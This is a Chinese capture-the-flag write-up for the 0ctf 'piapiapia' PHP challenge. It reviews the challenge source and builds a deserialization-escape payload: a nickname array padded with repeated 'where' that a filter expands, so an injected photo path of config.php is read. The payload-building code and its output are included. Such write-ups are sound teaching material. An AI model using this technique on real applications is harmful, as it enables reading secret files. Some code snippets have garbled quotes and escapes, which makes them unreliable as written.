概述
- 题目考点:任意文件读取 + php代码审计反序列化
- 我已经做题之前先dirsearch一下了
- 先尝试了一下流程
- 首先是注册页面注册 账号 接着在update界面取补充信息 最后返回发profile页面 里面有自己注册时候的信息
- 接着我们就来看看www.zip给的网页源码
- register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
- 没有什么操作 简单的限制了用户名和用户密码
- update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
- 做出了 以下的限制
- 电话号码必须为11位数
- email必须为10个以内的数字和字母@10个以内的数字和字母.10个以内的数字和字母
- nickname 必须是小于十位的数字、字母和下划线
- 文件的大小也进行了限制 文件名进行了md5加密
- 最后对profile数组进行了序列化 这里应该就是题目的考点之一了
- profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile
== null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
- 这里进行了一次反序列化 在$photo的位置进行了file_get_contents($profile[‘photo’]),如果我们这里的photo值是flag文件,就可以读取到文件内容了
- 还有一个class.php文件 里面是user类和mysql类 重点代码截取了下来
public function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
- 前两天做到了过滤+反序列化 很明显这道题的考点也就是反序列化逃逸
- 接下来就是解题了
- 我们想要的是序列化后的结果为
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
- 这样的话 就会直接读取config.php文件里面的内容了
- 我们需要从phone、email、nicknam、photo中选择一个进行反序列化的逃逸
这里就要补充一个知识点了
- if(preg_match(’/[^a-zA-Z0-9_]/’, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10)
die(‘Invalid nickname’);- strlen函数可以通过数组绕过 strlen(Array()) = null
- 所以这里我们可以通过数组绕过长度的限制 接着我们就是去构造payload了
<?php
$profile['phone'] = '12345678910';
$profile['email'] = '123@qq.com';
$profile ['nickname'] = ['xbx_0d'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
- 运行结果是
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
- 这是我们想要的效果
- 所以我们需要序列化逃逸的部分就是
;}s:5:"photo";s:10:"config.php";}
总共三十四位 - 而且面的filter函数会讲where替换为hacker 也就是多了一位
- 这样的话如果我们上传nickname的值为
-wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- 就会有以下代码形成的结果
<?php
function filter($string) {
$escape = array(''', '\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '12345678910';
$profile['email'] = '123@qq.com';
$profile ['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'aaaaaaaaaaa';
$a = serialize($profile);
echo $a;
echo "n替换后n";
$b = filter($a);
echo $b;
echo "n反序列化n";
$c = unserialize($b);
echo serialize($c);
?>
- 运行结果
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
替换后
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
反序列化
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
- 原先photo的值就被抛弃了 这就是反序列化逃逸的结果了
- 这样的话我们file_get_contents就是config.php文件了
- 看一下flag吧
- 总结
- 题目重点就是题目名序列化
- 主要考察反序列化的逃逸
- 其次加了个strlen()函数的数组绕过
- file_get_contents()应该算是个SSRF吧
- Tips:
刚刚私信大佬 为啥config.php里面没有flag,读取的时候却有flag
我发出的瞬间才反应过来这个傻子问题
www.zip是直接给你的 不代表它用的config.php就是给你的config.php
最后
以上就是义气电灯胆为你收集整理的攻防世界 0ctf-unserialize(piapipia)的全部内容,希望文章能够帮你解决攻防世界 0ctf-unserialize(piapipia)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复